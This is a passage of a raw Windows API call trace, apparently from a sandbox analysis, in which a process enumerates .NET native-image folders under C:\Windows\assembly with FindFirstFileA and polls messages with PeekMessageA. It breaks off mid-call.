lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58da0d50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x58dc6eb0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x58dc6eb0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0115.525] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\SMSvcHost\\bb73e15ff00f3c7246e3a560277d09b1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58dc6eb0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x58dc6eb0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x58dc6eb0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0115.526] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.575] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.576] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb7ed0c0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x88d64980, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x88d64980, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0115.577] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\76e0ae2162ace0d6430ce89ffdf32afa\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88be7bc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x88c0dd20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x88c0dd20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300064, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0115.579] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.584] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.585] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Acti2661942e#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7be0e8f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7be0e8f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7be0e8f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0115.641] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Acti2661942e#\\45534c81c2f1f050d940b91783efbcd5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7be0e8f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7be34a50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7be34a50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0115.921] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.924] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.925] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Acti31fd6628#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b94bcf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7b94bcf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7b94bcf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0116.010] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Acti31fd6628#\\37827509df21e104989c10196e313d6e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b94bcf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7b971e50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7b971e50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0116.040] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.123] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.128] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Actif3565cbd#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcb4430, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7dcb4430, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7dcb4430, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0116.130] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Actif3565cbd#\\60a06cbbba989906c65e70ee1e9aadc3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcb4430, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7dcda590, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7dcda590, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0116.284] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.287] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.289] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Activities\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ad3ed90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7ad3ed90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7ad3ed90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0116.291] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Activities\\fca4e72ee00e6578d7e759a3cf530f81\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ad3ed90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7ad64ef0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7ad64ef0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0116.292] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.297] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.298] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.AddI3d71a354#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e38c370, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7e38c370, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7e38c370, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0116.299] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.AddI3d71a354#\\110ea604ebed337108b44c1ed479efd8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e38c370, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7e38c370, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7e38c370, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0116.323] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.326] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.327] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.AddIn\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e1c32f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7e1c32f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7e1c32f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0116.337] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.AddIn\\9059078f3813da46fdf18d09e3608b9a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e1c32f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7e1c32f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7e1c32f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0116.338] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.343] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.343] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Comp46f2b404#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ac180f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8ac180f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8ac180f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0116.379] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Comp46f2b404#\\1950e89dcb0d51adb87a388b6531bcc6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ac180f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8ac180f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8ac180f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0116.599] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.602] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.640] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Comp7dda8007#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f7abb70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8f7abb70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8f7abb70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0116.738] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Comp7dda8007#\\c4843261ca1f3ee7437a7d6bcf2e267d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f7abb70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8f7abb70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8f7abb70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0116.856] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.859] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.859] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Compba577418#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f5e2af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8f5e2af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8f5e2af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0116.860] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Compba577418#\\38bfbb37a8755fc23ccd2827b16a036b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f5e2af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8f5e2af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8f5e2af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0116.878] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.881] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.881] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Confe64a9051#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b3fa9d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b3fa9d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b3fa9d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0116.883] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Confe64a9051#\\e2e832358e4054b2c9e32e212f9a81c0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b3fa9d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b3fa9d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b3fa9d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0116.896] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.898] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.898] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Configuration\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504296d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x504296d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x504296d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0116.899] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Configuration\\a9307524c4566f8b1e2df7834b33de98\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504296d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x504296d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x504296d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0116.900] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.973] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0116.973] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f7f6610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4f7f6610, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4f7f6610, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0116.993] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\0b543c6391a29ab6773dc4ad0da611f2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f7f6610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4f81c770, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4f81c770, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0116.993] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0117.020] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0117.021] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85ebb5f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x85ebb5f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x85ebb5f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0117.025] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data\\aff3d5a446ed0ca437fb79db4e3b5720\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85ebb5f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x85ee1750, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x85ee1750, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0117.026] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0117.030] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0117.062] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data.Entity\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9513b730, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9513b730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9513b730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0117.361] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data.Entity\\43aac8aa5cd33cb72e5e2262b6526a45\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9513b730, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x951879f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x951879f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0117.361] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0117.556] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0117.557] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data.Linq\\*.*", 